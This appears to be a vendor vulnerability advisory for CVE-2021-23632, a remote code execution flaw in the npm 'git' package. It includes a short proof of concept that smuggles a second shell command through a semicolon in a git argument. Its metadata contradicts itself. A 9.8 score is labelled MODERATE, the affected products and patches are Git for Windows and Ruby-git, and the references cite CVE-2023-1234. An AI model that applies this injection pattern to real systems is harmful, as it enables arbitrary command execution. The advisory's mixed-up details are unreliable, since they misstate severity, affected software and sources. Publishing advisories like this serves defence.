CVE-2021-23632

Description

All versions of package git are vulnerable to Remote Code Execution (RCE) due to missing sanitization in the Git.git method, which allows execution of OS commands rather than just git commands. Steps to Reproduce 1. Create a file named exploit.js with the following content: js var Git = require(git).Git; var repo = new Git(repo-test); var user_input = version; date; repo.git(user_input, function(err, result) { console.log(result); }) 2. In the same directory as exploit.js, run npm install git. 3. Run exploit.js: node exploit.js. You should see the outputs of both the git version and date command-lines. Note that the repo-test Git repository does not need to be present to make this PoC work.

Risk Information

Base Score

9.8

MODERATE

Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

EPSS Score

Exploitation Probability

3.224

Associated Vulnerability

Vulnerability	OS Platform
Vulnerabilities CVE-2021-23632 are affected in Git (X64) 0.1.5	Windows
Vulnerabilities CVE-2021-23632 are affected in Git 0.1.5	Windows
Vulnerabilities CVE-2021-23632 are affected in Ruby-git 0.1.5	Windows
Vulnerabilities CVE-2021-23632 are affected in Ruby-git for Linux 0.1.5	Linux

Patch Details

Click to see the patches provided by ManageEngine for this CVE

Patch ID	Patch Description
PATCH-342450	Git (x64) (2.47.0.2)
PATCH-342449	Git (2.47.0.2)

References

https://nvd.nist.gov/vuln/detail/CVE-2023-1234
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-1234